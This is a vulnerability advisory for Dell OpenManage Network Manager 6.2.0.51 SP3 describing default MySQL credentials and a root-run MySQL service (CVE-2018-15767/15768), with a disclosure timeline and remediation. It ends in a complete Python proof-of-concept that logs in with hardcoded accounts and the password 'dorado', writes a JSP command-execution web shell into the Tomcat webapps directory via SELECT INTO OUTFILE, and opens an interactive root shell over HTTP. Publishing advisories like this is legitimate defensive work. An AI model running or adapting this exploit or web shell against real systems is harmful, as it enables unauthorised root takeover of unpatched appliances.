Vulnerability Details

Affected Vendor: Dell
Affected Product: OpenManage Network Manager
Affected Version: 6.2.0.51 SP3
Platform: Embedded Linux
CWE Classification: CWE-285: Improper Authorization,
CWE-284: Improper Access Control
Impact: Privilege Escalation
Attack vector: MySQL, HTTP
CVE ID: CVE-2018-15767, CVE-2018-15768

Vulnerability Description

Dell OpenManage Network Manager exposes a MySQL listener that
can be accessed with default credentials (CVE-2018-15768). This
MySQL service is running as the root user, so an attacker can
exploit this configuration to, e.g., deploy a backdoor and
escalate privileges into the root account (CVE-2018-15767).

Technical Description

The appliance binds on 3306/mysql using the 0.0.0.0 IP
address. The default IPTables policy is ACCEPT and the
rule table is empty. Using any of three default accounts,
a malicious user can exploit native MySQL functionality to
place a JSP shell into the directory of a web server on the
file system and subsequently make calls into it.

Mitigation and Remediation Recommendation

The vendor informed KoreLogic that all default passwords can
be changed and are documented in the OpenManage Network Manager
Installation Guide. Dell recommends all customers change these
default passwords upon installation.

The vendor has addressed these vulnerabilities in version
6.5.3. Release notes and download instructions can be found at:

https://www.dell.com/support/home/us/en/04/drivers/driversdetails?driverId=5XC0J

Credit

This vulnerability was discovered by Matt Bergin (@thatguylevel)
of KoreLogic, Inc.

Disclosure Timeline

2018.02.16 - KoreLogic submits vulnerability details to Dell.
2018.02.16 - Dell acknowledges receipt.
2018.04.02 - Dell informs KoreLogic that a rememdiation plan is in
place and requests approximately two months continued
embargo on the vulnerability details.
2018.04.23 - 45 business days have elapsed since the vulnerability
was reported to Dell.
2018.05.14 - 60 business days have elapsed since the vulnerability
was reported to Dell.
2018.06.05 - 75 business days have elapsed since the vulnerability
was reported to Dell.
2018.06.11 - Dell informs KoreLogic that the patched version has
been released and asks that the KoreLogic advisory
remain unpublished until 2018.06.22.
2018.06.21 - Dell requests additional time to coordinate changes
to the MySQL implementation, noting that this
driver is provided by and upstream vendor.
2018.07.11 - 100 business days have elapsed since the
vulnerability was reported to Dell.
2018.07.16 - Dell informs KoreLogic that the remediations are
targeted for version 6.5.3, slated for a September
release.
2018.08.08 - 120 business days have elapsed since the
vulnerability was reported to Dell.
2018.09.20 - 150 business days have elapsed since the
vulnerability was reported to Dell.
2018.10.03 - Dell informs KoreLogic that version 6.5.3 is
scheduled to be released 2018.10.08.
2018.10.11 - Dell and KoreLogic begin mutual review of
disclosure statements.
2018.11.02 - Dell issues public advisory-
https://www.dell.com/support/article/us/en/19/sln314610;
180 business days have elapsed since the
vulnerability was reported to Dell.
2018.11.05 - KoreLogic Disclosure.

Proof of Concept

#!/usr/bin/python

$ python dell-openmanage-networkmanager_rce.py --host 1.3.3.7

Dell OpenManage NetworkManager 6.2.0.51 SP3

SQL backdoor remote root

[-] Starting attack.

[+] Connected using root account.

[+] Sending malicious SQL.

[+] Dropping shell.

[-] uid=0(root) gid=0(root) groups=0(root)

# uname -a

Linux synergy.domain.int 2.6.32-642.6.2.el6.x86_64 #1 SMP Wed Oct 26 06:52:09 UTC 2016 x86_64 x86_64 x86_64 GNU/Linux

from optparse import OptionParser
from string import ascii_letters, digits
from random import choice
from re import compile as regex_compile
from urllib import urlopen
import pymysql.cursors

banner = “”“Dell OpenManage NetworkManager 6.2.0.51 SP3\nSQL backdoor remote root\n”“”
accounts = [‘root’,‘owmeta’,‘oware’]
password = ‘dorado’
regex = regex_compile(“^\d{1,3}.\d{1,3}.\d{1,3}.\d{1,3}$”)

full_path = ‘/opt/VAroot/dell/openmanage/networkmanager/oware/synergy/tomcat-7.0.40/webapps/nvhelp/%s.jsp’ % (‘’.join(
[choice(digits + ascii_letters) for i in xrange(8)]))
shell_name = full_path.split(‘/’)[-1]

backdoor = “”"<%@ page import=“java.util.,java.io.”%>
<%
if (request.getParameter(“cmd”) != null) {
String m = request.getParameter(“cmd”);
Process p = Runtime.getRuntime().exec(request.getParameter(“cmd”));
OutputStream os = p.getOutputStream();
InputStream in = p.getInputStream();
DataInputStream dis = new DataInputStream(in);
String disr = dis.readLine();
while ( disr != null ) {
out.println(disr);
disr = dis.readLine();
}
}
%>

def do_shell(ip_address):
fd = urlopen(“http://%s:8080/nvhelp/%s” % (ip_address,shell_name),“cmd=%s” % (‘sudo sh -c id’))
print “[-] %s\n” % fd.read().strip()
fd.close()
while True:
try:
cmd = ‘sudo sh -c %s’ % raw_input("# ")
if (‘exit’ in cmd or ‘quit’ in cmd):
break
fd = urlopen(“http://%s:8080/nvhelp/%s” % (ip_address,shell_name),“cmd=%s” % (cmd))
print fd.read().strip()
fd.close()
except KeyboardInterrupt:
print “Exiting.”
exit(0)
return False

if name==“main”:
print banner
parser = OptionParser()
parser.add_option(“–host”,dest=“host”,default=None,help=“Target IP address”)
o, a = parser.parse_args()
if o.host is None:
print “[!] Please provide the required parameters.”
exit(1)
elif not regex.match(o.host):
print “[!] --host must contain an IP address.”
exit(1)
else:
print “[-] Starting attack.”
try:
for user in accounts:
conn = pymysql.connect(host=o.host,
user=user,
password=password,
db=‘mysql’,
cursorclass=pymysql.cursors.DictCursor
)
if conn.user is user:
print “[+] Connected using %s account.” % (user)
cursor = conn.cursor()
print “[+] Sending malicious SQL.”
table_name = ‘’.join(
[choice(digits + ascii_letters) for i in xrange(8)])
column_name = ‘’.join(
[choice(digits + ascii_letters) for i in xrange(8)])
cursor.execute(‘create table %s (%s text)’ % (table_name, column_name))
cursor.execute(“insert into %s (%s) values (‘%s’)” % (table_name, column_name, backdoor))
conn.commit()
cursor.execute(‘select * from %s into outfile “%s” fields escaped by “”’ % (table_name,full_path))
cursor.execute(‘drop table if exists %s’ % (table_name))
conn.commit()
cursor.execute(‘flush logs’)
print “[+] Dropping shell.”
do_shell(o.host)
break
except Exception as e:
if e[0] == ‘1045’:
print “[!] Hardcoded SQL credentials failed.” % (e)
else:
print “[!] Could not execute attack. Reason: %s.” % (e)
exit(0)